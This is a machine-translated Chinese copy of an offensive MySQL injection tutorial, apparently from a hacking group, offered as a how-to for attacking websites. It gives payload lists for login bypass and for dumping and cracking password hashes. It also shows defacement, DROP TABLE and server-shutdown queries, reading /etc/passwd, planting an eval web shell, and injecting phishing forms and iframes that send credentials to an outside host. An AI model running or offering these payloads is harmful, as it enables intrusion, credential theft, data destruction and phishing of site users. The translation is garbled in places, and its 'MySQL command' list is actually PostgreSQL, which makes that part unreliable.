史上最完整的MySQL注入

免責聲明:本教程僅用於教育目的,以保護您本身的SQL註釋代碼。 在閱讀本教程後,您必須對任何行動承擔所有責任。javascript

原文做者:Insiderphp

0x00 ~ 背景
這篇文章題目爲「爲新手完成MySQL注入」,它旨在提供專門針對MySQL數據庫的SQL注入的完整知識和工做方式,除了堆棧查詢部分。 這裏的第一個貢獻......html

  • 表中的內容java

    介紹mysql

    什麼是數據庫?程序員

    什麼是SQL注入?sql

    繞過登陸數據庫

    訪問祕密數據apache

    檢查漏洞
    
    找到列數
    
    解決脆弱的部分
    
    尋找MySQL版本
    
    MySQL 5或以上版本的注入

    MySQL 4注入 修改網站內容編程

    關閉MySQL服務器

    Loadfile

    MySQL Root

    主要的MySQL命令

    完成注射教程

    更新

    繞過登陸高級
    
    RF注入SQL注入
    
    URL欺騙網絡釣魚
    
    頭
    
    Cookie

    結束

0x01 ~ 介紹
你們好,對於那些不瞭解個人人我是他們的噩夢=)..在本教程中,我將以新手視角展現MySQL中臭名昭着的注入,以便全部新手都能成爲成功的SQL注入器。 目的,必定要檢查PHP和MySQL中的各類函數和各類各樣的網站,它們會對你有很大的幫助...也不要苛刻我是否有任何語法錯誤的教程由於英語不是個人母語(我是 來自土星環)。 如今讓咱們開始SQL注入的演練。

0x02 ~ 什麼是數據庫
這只是只是通常的信息..數據庫是存儲數據集合的應用程序。 數據庫提供各類API,用於建立,訪問和管理它所擁有的數據。 而且數據庫(DB)服務器能夠與咱們的Web開發集成,以便咱們能夠從數據庫中獲取咱們想要的東西而沒有太多困難。 DB可能包含各類關鍵信息,如用戶名,密碼,信用等。 所以,須要保護數據庫,但運行的許多數據庫服務器因爲其漏洞或編程處理不當而不安全。 僅舉幾例DB服務器,MySQL(開源),MSSQL,MS-ACCESS,Oracle,Postgre SQL(開源),SQLite等。

0x03 ~ 什麼是Sql注入?
SQL注入多是目前互聯網上存在的最豐富的編程缺陷。 這是未經受權的人能夠訪問各類關鍵和私人數據的漏洞。 SQL注入不是Web或數據庫服務器中的缺陷,而是因爲編程實踐較差且缺少經驗而致使的。 它是從遠程位置執行的最致命和最容易的攻擊之一。

在SQL注入中,咱們使用各類命令與DB服務器交互,並從中獲取各類數據。 在本教程中,我將討論SQL注入的3個方面,即繞過登陸,訪問機密數據和修改頁面內容。 所以,讓咱們在真正的演練中前進......

#0x04 ~ 繞過登陸
假設一個站點有一個登陸表單,只容許註冊用戶進入該站點。 如今,假設你想繞過登陸並以合法用戶身份進入網站。 若是程序員沒有正確清理登陸腳本,您可能很幸運可以進入該站點。 經過與DB服務器交互,你可能無需知道真實用戶名和真實密碼便可登陸該站點。 那麼,這不就是SQL注入的美感嗎?

讓咱們看一個例子,其中用戶名admin和密碼sam207能夠登陸到該站點。 假設,對此的SQL查詢執行以下:
HTML代碼:

SELECT USER from database WHERE username ='admin'AND password ='xenu'

若是上面的SELECT命令評估爲true,則將授予用戶訪問該站點的權限。 想一想若是沒有清理腳本咱們能夠作些什麼。 這爲黑客獲取非法訪問網站打開了一扇大門。

在此示例中,攻擊者能夠在登陸表單中輸入如下用戶數據:

username:a or 1=1--
password:blank

因此,這會使咱們的查詢爲:

<?php
SELECT USER from database WHERE username='a' or 1=1-- AND password=''

請注意 - 是註釋運算符,其後的任何內容都將被忽略爲註釋。 存在另外一個註釋運算符,它是/ *。

因此咱們的上述查詢變爲:

<?php
SELECT USER from database WHERE username='a' or 1=1

如今,即便沒有名爲「a」的用戶,此查詢也會計算爲true,由於1 = 1始終爲true,而且當其中一個查詢爲true時,使用OR會使查詢返回true。 這樣就能夠訪問站點管理面板。

能夠有各類其餘用戶名和密碼組合來與易受攻擊的網站一塊兒玩。 您能夠爲站點登陸建立本身的新組合。

不多有這樣的組合:

username:' or 1='1        password:' or 1='1
username:' or '1'='1'    password:' or '1'='1'
username:or 1=1        password:or 1=1

這是基本不要緊讓咱們如今假設不一樣的查詢和不一樣的注入。

<?php
select username,pass from users where username=('$username') and password=('$passwrd') limit 0,1;

這樣的組合是:

') or true--
') or ('')=('
') or 1--
') or ('x')=('

PHP代碼:

<?php
select username,pass from users where username="$username" and password="$passwrd" limit 0,1;

這樣的組合是:

" or true--
" or ""="
" or 1--
" or "x"="

PHP代碼:

<?php
select username,pass from users where username=("$username") and password=("$passwrd") limit 0,1;

這樣的組合是:

") or true--
") or ("")=("
") or 1--
") or ("x")=("

PHP代碼:

<?php
select username,pass from users where username=(('$username')) and password=(('$passwrd')) limit 0,1;

這樣的組合是:

')) or true--
')) or ((''))=(('
')) or 1--
')) or (('x'))=(('

另外一種有效載重:

'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x

這就是繞過登陸。

0x05 ~ 得到祕密的數據
SQL注入本質上不是爲了繞過登陸,而是用於訪問數據庫服務器中的敏感和祕密數據。 這部分很長,因此我將在小節中討論。

#0x05.a~檢查漏洞
假設你有一個網站:

<?php
site.com/article.php?id=5

如今要檢查它是否容易受到攻擊,你只需添加'到底,即分配了id變量。

因此,它是:

<?php
site.com/article.php?id=5'

如今,若是站點不易受攻擊,則會過濾並正常加載頁面。可是,若是它不過濾查詢字符串,它將給出以下錯誤:「第5行的Article.php中的'5''MySQL語法錯誤。」或者是錯誤,說咱們檢查正確的MySQL版本或MySQL Fetch錯誤或有時只是空白頁面。 錯誤多是任何形式。 所以,它確保該網站易受攻擊。

只是使用'可能不是確定的測試; 因此你能夠嘗試不一樣的東西,好比:

<?php
site.com/article.php?id=5+union+select+1--

若是你獲得這個錯誤,你再次知道它的弱點...只是嘗試不一樣的東西..

#0x05.b~查找列數
因此,如今是時候找到列數了。 爲此,咱們將使用'order by'直到咱們收到錯誤。

也就是說,咱們將URL查詢設爲:

<?php
site.com/article.php?id=5+order+by+1/*

這沒有給出錯誤。

如今,我確實把它增長到2:

<?php
site.com/article.php?id=5+order+by+2/*

仍然沒有錯誤
因此,咱們須要增長,直到咱們獲得錯誤。

在個人例子中,當我輸入值3時出現錯誤,即:

<?php
site.com/article.php?id=5+order+by+3/*

這反饋給了我錯誤。

所以,這意味着當前表中有2列(3 - 1 = 2)。 這就是咱們找到列數的方式。

#0x05.c~解決弱勢部分
如今,咱們須要使用union語句並找到咱們能夠替換的列,以便在頁面上查看祕密數據。

首先讓咱們設計一個不會出錯的union語句。這就像這樣:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+null/*

這會出錯,由於咱們的查詢須要在那裏再有一個null。並且null不會致使任何類型轉換錯誤,由於它只是null。

所以,對於咱們的注射,它變成:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+null,null/*

爲此咱們作:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+1,2/*

如今咱們將看到頁面上的數字。 個人意思是,頁面上能夠看到1或2或1和2。 請注意,數字能夠顯示在頁面標題中的任何位置,有時甚至能夠顯示在源代碼中的隱藏標記中。所以,這意味着咱們可使用命令替換數字以顯示數據庫保存的私有數據。

在個人例子中,頁面上顯示1。 這意味着,我應該用個人東西替換1繼續進行。 獲得它了? 因此讓咱們前進吧。

快速注意:有時可能沒法顯示數字,所以您很難找到可用於竊取數據的列。所以,在這種狀況下,您能夠嘗試如下內容:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+xenu,null/*

或者

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+null,xenu/*

若是xenu顯示在頁面的某個位置,你能夠進一步注射替換文本部分......在這裏,我保留文本而不是整數來檢查是否顯示文本...另外,必定要檢查源,由於有時他們 可能在一些隱藏的標籤中..

#0x05.d~查找MySQL版本
對於咱們的注入,有必要找到MySQL版本,由於若是它是5,咱們的工做變得容易多了。 要檢查版本,有一個函數@@ version或version()。

那麼,咱們所作的是用@@版替換1(這是可替換的部分),即咱們以下所示:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+@@version,2/*

或者

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+version(),2/*

所以,這將返回在服務器上運行的MySQL版本。

可是,有時你可能會遇到上述查詢錯誤。 若是是這種狀況,請使用unhex(hex())函數,以下所示:

<?php
site.com/article.php?id=UNION+ALL+SELECT+unhex(hex(@@version)),2/*

請記住,若是你必須在這裏使用unhex(hex())函數,你也必須在之後的注入過程當中使用這個函數。

@@版本會給你這個版本。 它能夠是4(或更低)或5和更高。 我如今將分別討論版本5和4的注射過程,正如我以前所說,版本5使咱們能夠輕鬆執行注射。

注意:此外,您能夠經過如下方式檢查用戶,數據庫等。

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+user(),2/*
site.com/article.php?id=5+UNION+ALL+SELECT+database(),2/*

#0x05.e~MySQL 5或以上注入
在這裏,我將向您展現如何訪問運行MySQL 5或更高版本的服務器中的數據。

你使用url參數中的@@版本獲得MySQL版本5.0.27標準。 版本5中的MySQL有一個名爲information_schema的有用函數。 這是保存有關DB服務器中存在的表和列的信息的表。 也就是說,它包含站點的全部表和列的名稱。

要獲取表格列表,咱們使用:

table_name from information_schema.tables

要獲取列列表,咱們使用:

column_name from information_schema.columns

所以,咱們在示例中獲取表列表的查詢將是:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+table_name,2+FROM+information_schema.tables/*

是的,若是您在查找版本時必須使用unhex(hex()),則必須執行如下操做:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+unhex(hex(table_name)),2+FROM+information_schema.tables/*

這將列出DB中存在的全部表。 出於咱們的目的,咱們將搜索包含用戶和密碼信息的表。 因此咱們用這些信息查看可能的表格。 你甚至能夠寫下表名以供進一步參考和使用。 對於個人示例,我將使用tbluser做爲包含用戶和密碼的表。

一樣,要獲取列列表,咱們將查詢爲:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+column_name,2+FROM information_schema.columns/*

這將返回數據庫服務器中存在的全部列。 如今從這個列表中,咱們將查找用戶名和密碼的可能列。 對於個人注射,有兩列保存這些信息。 它們分別是用戶名和密碼。 這就是我想要的專欄。 你必須搜索並檢查列,直到你沒有錯誤。

或者,要查找特定表中的列,您能夠執行如下操做:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+column_name,2+FROM+information_schema.columns+WHERE+table_name='tbluser'

這將顯示錶tbluser中的列。 但這可能沒法始終基於PHP.INI,因此六角形。

讓我告訴你我是如何知道上面兩列屬於表tbluser的。 如今讓我展現如何顯示存儲在DB中的用戶名和密碼。

有一個名爲concat()的函數容許我鏈接兩列並在頁面上顯示。 我也將以十六進制形式使用分號。 它的十六進制值是0x3a(在開始時爲零而不是字母o。)

我作的是:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+concat(username,0x3a,password),2+FROM+tbluser/*

這給了我以下的用戶名和密碼:

admin:9F14974D57DE204E37C11AEAC3EE4940

這裏密碼是哈希的,在這種狀況下,它是MD5。 如今你須要獲得像hashcat,passwordpro(等)同樣的哈希破解程序並破解哈希。 哈希值可能與SHA1,MD5等不一樣。或者有時可能會在頁面上顯示明文密碼。 在這種狀況下,當我破解時,我獲得密碼爲sam207。

如今你進入管理員登陸頁面並以管理員身份登陸。 而後你能夠作任何你想作的事。 這就是MySQL版本5的所有內容。

#0x05.f~MySQL版本4注入
如今說你的受害者有MySQL版本4.那麼你將沒法得到MySQL版本5中的表名和列名,由於它缺少對information_schema.tables和information_schema.columns的支持。

因此如今你必須猜想表名和列名,直到你沒有獲得錯誤。 此外,若是MySQL版本低於5,您可能必須依賴顯示的運氣和錯誤消息。有時錯誤將爲您提供表名稱和列名稱,並讓您有一些想法猜想正確的表和列名稱 ..說,錯誤報告錯誤中的xenu_article ..因此,你知道xenu_是表名中使用的前綴...

不管如何,讓咱們去MySQL版本4注入...

例如,你會這樣作:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+1,2+FROM+user/*

在這裏,我猜想表名爲user。 可是這給了我錯誤,由於DB上沒有名稱user的表。 如今我繼續猜想表名,直到我沒有獲得錯誤。

當我將表名做爲tbluser時,頁面正常加載。 因此我開始知道表tbluser存在。

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+1,2+FROM+tbluser/*

頁面正常加載。 如今再次你必須猜想tbluser表中存在的列名。

我作了相似下面的事情:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+user_name,2+FRO+tbluser/*

//這給了我錯誤,因此沒有這個名字的專欄。

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+username,2+FROM+tbluser/*

//它正常加載頁面以及表中的用戶名。

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+pass,2+FROM tbluser/*

//它的錯誤再次代表tbluser中不存在列傳遞。

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+password,2+FROM+tbluser/*

//一般使用密碼哈希(或明文密碼)加載的頁面。

如今你能夠這樣作:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+concat(username,0x3a,password),2+FROM+tbluser/*

這反饋給我:

admin:9F14974D57DE204E37C11AEAC3EE4940

如今我只須要登陸該網站並作任何我想作的事情。

您可能嘗試的幾個表名稱是:user(s),table_user(s),tbluser(s),tbladmin(s),admin(s),members(等)等。
如前所述,請務必查看錯誤,由於有時他們會爲咱們提供表名和列名錯誤...

若是數據庫成立,你能夠嘗試這些方法以得到各類數據,例如信用卡號,社會保險號等等。 您須要作的就是找出列並將它們顯示在易受攻擊的頁面上。 這就是用於訪問祕密數據的注入。

#0x06~修改網站內容
有時候,你會發現易受攻擊的網站,而且須要知道,可是管理員登陸可能不存在,或者某些IP範圍是可訪問的。 即便在該上下文中,您也可使用一些kewl SQL命令來修改站點內容。 我沒有看到不少文章解決這個問題,因此我想把它包含在這裏。

在這裏,我將基本上討論一些可能用於更改網站內容的SQL命令。 Therse命令是MySQL的主力而且在執行時是致命的。 但堆疊查詢不適用於MySQL。

首先讓我列出這些命令:

UPDATE:它用於編輯數據庫中已有的信息而不刪除任何行。

DELETE:用於刪除一個或多個字段的內容。

DROP:用於徹底刪除表及其全部相關數據。

如今,若是網站容許咱們與db進行交互而沒有清理和適當的權限,你可能已經發現這些命令很是具備破壞性。

命令用法:

UPDATE:咱們易受攻擊的頁面是:

<?php
site.com/article.php?id=5

讓咱們說查詢是:

<?php
SELECT title,data,author FROM article WHERE id=5

雖然實際上咱們不知道上面的查詢,但咱們能夠找到前面討論過的表和列名。

因此咱們會這樣作:

<?php
site.com/article.php?id=5+UPDATE+article+SET+title='Hacked By Xenu for R00TW0RM C0MMUNITY'/*

或者,你能夠作:

<?php
site.com/article.php?id=5+UPDATE+article+SET+title='Hacked By r00tw0rm',data='Ur site has zero security',author='Xenu'/*

經過執行第一個查詢,咱們在表格文章中將標題值設置爲「Hacked By r00tw0rm」,而在第二個查詢中,咱們更新了表格文章中的全部三個字段title,data和author。

有時,您可能想要更改id = 5的特定頁面。 爲此,你會這樣作:

<?php
site.com/article.php?id=5+UPDATE+article+SET+title='value 1',data='value 2',author='value 3'+WHERE+id=5/*

DELETE:如前所述,這將從數據庫服務器中永久刪除一個或多個字段的內容。

語法是:

<?php
site.com/article.php?id=5+DELETE+title,data,author+FROM+article/*

或者,若是要從id = 5中刪除這些字段,您將執行如下操做:

<?php
site.com/article.php?id=5+DELETE+title,data,author+FROM+article+WHERE+id=5/*

DROP:這是你可使用的另外一個致命的命令。 有了這個,你能夠刪除一個表及其全部相關數據。
爲此,咱們將URL設爲:

<?php
site.com/article.php?id=5+DROP+TABLE+article/*

這將刪除表格文章及其全部內容。

最後,我想談談';'。

雖然我沒有在個人教程中使用它,但你可使用它來結束你的第一個查詢並啓動另外一個查詢。

這個 ; 能夠保留在咱們的第一個查詢的末尾,以便咱們能夠在它以後開始新的查詢。

#0x07~關閉MySQL服務器
這就像執行服務器同樣,由於它會使合法用戶或網站訪問者沒法使用MySQL資源......爲此,您將使用:

SHUTDOWN WITH NOWAIT;
那麼,你會製做一個執行上述命令的查詢......

例如,在個人狀況下,我會作如下事情:

<?php
site.com/article.php?id=5+SHUTDOWN+WITH+NOWAIT;

哇,太瘋狂了! MySQL服務器關閉...這將阻止合法用戶和網站訪問者使用或查看MySQL資源

#0x08~Loadfile
MySQL有一個名爲load_file的函數,您能夠再次使用它來獲益。我尚未看到不少網站可使用這個函數...我認爲咱們應該擁有MySQL root權限....此外,魔術引號 應該關閉這個...但有一種方法能夠超越魔術引號... load_file可用於加載服務器的某些文件,如.htaccess,.htpasswd等..還有/ etc等密碼文件 / passwd等。

作相似下面的事情:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+load_file('etc/passwd'),2/*

但有時候,你必須對部件進行hex並執行如下操做:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+load_file(0x272F6574632F70617373776427)

我已經hex了......如今,若是咱們幸運的話,腳本將在結果中回顯/ etc / passwd。

進一步閱讀:https://greysec.net/showthrea...

#0x08~MySQL Root
若是MySQL版本爲5或更高版本,咱們可能會得到MySQL root權限,這對咱們來講也會有所幫助。來自版本5的MySQL服務器有一個名爲mysql.user的表,其中包含用於登陸的哈希和用戶名... 它位於MySQL數據庫的用戶表中,隨MySQL的每次安裝一塊兒提供。

爲此,您將:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+concat(username,x3a,password),2+from+mysql.user/*

如今你將得到用戶名和哈希..哈希是mysqlsha1 ...快速注意:JTR不會破解它..可是insidepro.com有一個要作它..

#0x09~主要MySQL命令
下面,我將列出一些可能對您有所幫助的主要MySQL命令...經過在您的計算機中設置MySQL服務器以不一樣的方式與它們一塊兒玩。

這裏的全部命令都是從h4cky0u的帖子中複製粘貼的,這部分的功勞歸於原做者..這是我本身寫的惟一部分..我能夠擁有可是由於有更好的一部分,我 我想把相同的部分放在這裏..感謝在h4cky0u網站上發佈此內容的人...以及此部分的所有學分給他/她。

註釋:

ABORT - 停止當前轉換

ALTER DATABASE - 更改數據庫

ALTER GROUP - 將用戶添加到組或從組中刪除用戶

ALTER TABLE - 更改表的定義

ALTER TRIGGER - 更改觸發器的定義

ALTER USER - 更改數據庫用戶賬戶

ANALYZE - 收集有關數據庫的統計信息

BEGIN - 啓動交易凍結

CHECKPOINT - 強制事務日誌檢查點

CLOSE - 關閉光標

CLUSTER - 根據索引對錶進行聚類

COMMENT - 定義或更改對象的註釋

COMMIT - 提交當前事務

COPY - 在文件和表之間複製數據

CREATE AGGREGATE - 定義一個新的聚合函數

CREATE CAST - 定義用戶定義的強制轉換

CREATE CONSTRAINT TRIGGER - 定義一個新的約束觸發器

CREATE CONVERSION - 定義用戶定義的轉換

CREATE DATABASE - 建立一個新數據庫

CREATE DOMAIN - 定義一個新域

CREATE FUNCTION - 定義一個新功能

CREATE GROUP - 定義新用戶組

CREATE INDEX - 定義一個新索引

CREATE LANGUAGE - 定義一種新的過程語言

CREATE OPERATOR - 定義一個新的運算符

CREATE OPERATOR CLASS - 爲索引定義一個新的運算符類

CREATE RULE - 定義新的重寫規則

CREATE SCHEMA - 定義新架構

CREATE SEQUENCE - 定義一個新的序列生成器

CREATE TABLE - 定義一個新表

CREATE TABLE AS - 根據查詢結果建立新表

CREATE TRIGGER - 定義一個新的觸發器

CREATE TYPE - 定義新的數據類型

CREATE USER - 定義新的數據庫用戶賬戶

CERATE VIEW - 定義新視圖

DEALLOCATE - 刪除準備好的查詢

DECLARE - 定義遊標

DELETE - 刪除表的行

DROP AGGREGATE - 刪除用戶定義的聚合函數

DROP CAST - 刪除用戶定義的強制轉換

DROP CONVERSION - 刪除用戶定義的轉換

DROP DATABASE - 刪除數據庫

DROP DOMAIN - 刪除用戶定義的域

DROP FUNCTION - 刪除用戶定義的函數

DROP GROUP - 刪除用戶組

DROP INDEX - 刪除索引

DROP LANGUAGE - 刪除用戶定義的過程語言

DROP OPERATOR - 刪除用戶定義的運算符

DROP OPERATOR CLASS - 刪除用戶定義的運算符類

DROP RULE - 刪除重寫規則

DROP SCHEMA - 刪除架構

DROP SEQUENCE - 刪除序列

DROP TABLE - 刪除表

DROP TRIGGER - 刪除觸發器

DROP TYPE - 刪除用戶定義的數據類型

DROP USER - 刪除數據庫用戶賬戶

DROP VIEW - 刪除視圖

END - 提交當前事務

EXECUTE - 執行準備好的查詢

EXPLAIN - 顯示語句的執行計劃

FETCH - 使用遊標從表中檢索行

GRANT - 定義訪問權限

INSERT - 在表中建立新行

LISTEN - 收聽通知

LOAD - 加載或從新加載共享庫文件

LOCK - 顯式鎖定表

MOVE - 將光標放在表格的指定行上

NOTIFY - 生成通知

PREPARE - 建立準備好的查詢

REINDEX - 重建損壞的索引

RESET - 將運行時參數的值恢復爲默認值

REVOKE - 刪除訪問權限

ROLLBACK - 停止當前事務

SELECT - 從表或視圖中檢索行

SELECT INTO - 根據查詢結果建立一個新表

SET - 更改運行時參數

SET CONSTRAINTS - 設置當前事務的約束模式

SET SESSION AUTHORIZATION - 設置會話用戶標識符和當前會話的當前用戶標識符

SET TRANSACTION - 設置當前事務的特徵

SHOW - 顯示運行時參數的值

START TRANSACTION - 啓動交易凍結

TRUNCATE - 清空一張桌子

UNLISTEN - 中止收聽通知

UPDATE - 更新表的行

VACUUM - 垃圾收集並可選地分析數據庫

#0x09~完成注射教程
我知道我錯過了一些東西,好比outfile,WHERE子句,盲注等...若是我有時間,我會嘗試用這些來更新教程..對於全部sql注入器,請大膽思考..& hexing是sql注入中的一個重要部分。有時用普通方法沒法完成的事情能夠經過使用hex部分完成..而且必定要嘗試使用char(),hex()函數。 這些,您能夠繞過服務器上的魔術引號。再次,在UNION語句中,您可能會嘗試使用有時對您有幫助的XSS。

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+<script>
alert("XSS via SQL injection");
</script>,2/*

再次在上面的注入中,您可能須要對javascript部分進行六進制以繞過魔術引號。

對於初學者和那些瞭解小事的人,您能夠在本地主機中爲您的apache服務器設置MySQL服務器並配置PHP,您能夠嘗試不一樣的東西。

在MySQL的命令行界面中,嘗試下面列出的各類命令。嘗試修改它們...這將有助於您提升MySQL命令知識。還試着看看PHP代碼如何與MySQL服務器交互..例如,安裝一些免費的論壇,如PHPBB,SMF等..或者一些內容管理系統,由於它能夠經過兩種方式幫助你。首先,你將學習PHP如何與MySQL交互..你能夠檢查MySQL文件夾中發生了什麼變化後安裝它們..若是我這樣作會怎麼樣?或者那個?? etc..etc ..其次,你可能可以找到它們中的bug ..好比rfi代碼的某些部分或sql注入另外一部分或者csrf注入等等。這會幫助你學習新東西,由於大家都知道練習能讓人變得完美......

#0x10~更新
我藉此機會更新此complet文件undefined

#0x10.a~繞過登陸高級
我但願你喜歡閱讀「Bypassing Logins」一章。 所以,如今是時候瞭解如何將某個易受攻擊的登陸表單的數據庫轉出。

<?php
select username,pass from users where username="$uname" and password="$passwrd" limit 0,1
select username,pass from users where username='$uname' and password='$passwrd' limit 0,1

代碼:

username : ' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) and ''='
username : " or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) and ""="
username : ' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) --+
username : " or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) --+
username : ' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) #
username : " or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) #
username : ' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) --
username : " (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) --

您能夠再次將密碼字段留空。 如今讓咱們看看查詢將傳遞什麼。

<?php
select username,pass from users where username='' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) and ''='' and password='' limit 0,1

#0x10.b~SQL注入的RFI
若是您已閱讀本文並瞭解RFI漏洞,則無需解釋。 這很容易!

<?php
site.com/?param=1+union+select+'<?eval($_request[cmd]);?>'&cmd=passthru('ls');

#0x10.c~URLS欺騙性網絡釣魚
此次標題說明了咱們將使用SQL注入漏洞利用URL欺騙進行網絡釣魚。 有三種方法

注入HTML

注入iFrame

修改當前表格
咱們將把有效負載注入SQL注入,並像在XSS中同樣在網頁上添加一些額外的代碼。

首先,注入HTML。 爲簡單起見,咱們將有效負載編碼爲十六進制。 對於有效載荷:

<?php
<form action=http://site.com/w0rm.php method="POST">
Username : <input type="text" name="username"><br>
Password :<input type="text" name="password">
<input type="submit">
</form>
<iframe height=0 width=0>

編碼爲十六進制:

3c666f726d20616374696f6e3d687474703a2f2f736974652e636f6d2f7730726d2e706870206d65 74686f643d22504f5354223e0d0a557365726e616d65203a203c696e70757420747970653d227465 787422206e616d653d22757365726e616d65223e3c62723e0d0a50617373776f7264203a3c696e70 757420747970653d227465787422206e616d653d2270617373776f7264223e0d0a3c696e70757420 747970653d227375626d6974223e0d0a3c2f666f726d3e0d0a3c696672616d65206865696768743d 302077696474683d303e

在注入的SQL中注入Hex(有效載荷)。

注射iframe

例如:

<?php
<br><iframe src="http://site.com/virus.php" height=300 width=300 frameBorder="0" scrolling="no"></iframe>

代碼:

3c62723e3c696672616d65207372633d22687474703a2f2f736974652e636f6d2f76697275732e70 687022206865696768743d3330302077696474683d333030206672616d65426f726465723d223022 207363726f6c6c696e673d226e6f223e3c2f696672616d653e,4,5--

PHP代碼:

<?php
site.com/link.php?id=-1'+union+select+1,2,0x3c62723e3c696672616d65207372633d22687474703a2f2f736974652e6 36f6d2f76697275732e70687022206865696768743d3330302077696474683d333030206672616d6 5426f726465723d223022207363726f6c6c696e673d226e6f223e3c2f696672616d653e,4,5--

更改當前表格

在此次攻擊中,咱們將在網站中注入javascript,將網站中當前登陸頁面的操做更改成咱們的虛假登陸頁面連接。

<?php
<script>document.getElementsByTagName("form")[0].action="http://www.site.com/virus.php"</script>

代碼:

3c7363726970743e646f63756d656e742e676574456c656d656e747342795461674e616d65282266 6f726d22295b305d2e616374696f6e3d22687474703a2f2f7777772e736974652e636f6d2f766972 75732e706870223c2f7363726970743e

PHP代碼:

<?php
site.com/link.php?id=-1' union select 1,2,0x3c7363726970743e646f63756d656e742e676574456c656d656e747342795461674e6 16d652822666f726d22295b305d2e616374696f6e3d22687474703a2f2f7777772e736974652e636 f6d2f76697275732e706870223c2f7363726970743e,4,5--

#0x10.c~標題
HTTP查詢字符串參數(GET):URL中發送的輸入參數。

HTTP正文參數(POST):HTTP主體中發送的輸入參數。

HTTP Cookie參數:HTTP cookie中發送的輸入參數。

HTTP標頭:應用程序使用的HTTP請求標頭。

HTTP頭字段是超文本傳輸​​協議(HTTP)中的請求和響應的消息頭的組件。它們定義HTTP事務的操做參數。

Example: Request HTTP

Code:

GET / HTTP/1.1

Connection: Keep-Alive

Keep-Alive: 300

Accept:/

Host: host

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;

rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 ( .NET CLR 3.5.30729; .NET4.0E)

Cookie: guest_id=v1%3A1328019064; pid=v1%3A1328839311134

當存儲在數據庫中用於會話識別時,咱們能夠將HTTP Cookie視爲應該測試的第一個潛在HTTP變量。咱們將在基於Cookie的SQL注入示例中看到下一個。還有與應用程序相關的其餘HTTP標頭。

X-Forwarded-For是一個HTTP頭字段,被認爲是事實上的標準,用於識別經過HTTP代理或負載均衡器鏈接到Web服務器的客戶端的原始IP地址。

咱們將在表單提交的基礎上看到這個漏洞的一個例子。

<?php     
$req = mysql_query("SELECT user,password FROM admins WHERE user='".sanitize($_POST['user'])."' AND password='".md5($_POST['password'])."' AND ip_adr='".ip_adr()."'");

因爲sanitize()方法,能夠正確控制變量login。

<?php
1function sanitize($param){ if (is_numeric($param)) { return $param; } else { return mysql_real_escape_string($param); } }

讓咱們檢查一下ip變量。 它正在分配ip_addr()方法的輸出。

<?php
function ip_adr() { if
(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip_adr = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip_adr = $_SERVER["REMOTE_ADDR"]; } if (preg_match("#^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}#",$ip_addr)) { return $ip_adr; } else { return $_SERVER["REMOTE_ADDR"]; } }

顯然,從HTTP頭X_FORWARDED_FOR中檢索IP地址。 稍後由preg_match控制,它驗證此參數是否確實包含至少一個IP地址。 事實上,在SQL查詢中使用其值以前,環境變量HTTP_X_FORWARDED_FOR未正確清理。 這能夠經過將任意SQL代碼注入此字段來運行任何SQL查詢。

將此標頭字段簡單修改成:

GET /index.php HTTP/1.1
Host: [host]
X_FORWARDED_FOR :127.0.0.1' or 1=1#
[/php]
will lead to bypass the authentication control.

User agent is an HTTP header field gives the software program used by the original client. This is for statistical purposes and the tracing of protocol violations. It should be included. The first white space delimited word must be the software product name, with an optional slash and version designator.

Not all applications are written to capture the user-agent data, but sometimes applications are designed to store such information (ex: shopping cart providers) to make use of it. In this case, it’s worth investigating the user-agent header for possible issues.

HTTP query example:
[code]
GET /index.php HTTP/1.1
Host: [host]
User-Agent: aaa' or 1/*

